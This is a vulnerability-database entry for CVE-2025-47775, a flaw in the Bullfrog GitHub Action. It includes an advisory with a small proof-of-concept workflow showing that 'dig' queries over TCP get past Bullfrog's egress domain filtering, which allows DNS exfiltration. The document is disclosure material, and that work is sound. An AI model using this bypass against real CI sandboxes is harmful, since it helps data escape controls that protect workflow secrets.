CVE-2025-47775
highpriority · track · 34EPSS 0.005 · 42 %ileEURUUSEPSS · scored 2026-10-26
Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.2–8.6
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-m32f-fjw2-37v3Bullfrog's DNS over TCP bypasses domain filtering2025-05-15ghsa · osvUS
### Summary Using tcp breaks blocking and allows DNS exfiltration. ### PoC ``` name: test on: push: branches: - "*" jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || : echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ``` ### Impact sandbox bypass 
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (11)
External citations — patches, advisories, analysis.
- https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671cnnvd
- https://github.com/bullfrogsec/bullfrog/releasesPatchcnnvd
- https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4cnnvd
- https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3cnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2025-47775cnnvd
- https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671enisa_euvd
- https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4enisa_euvd
- https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan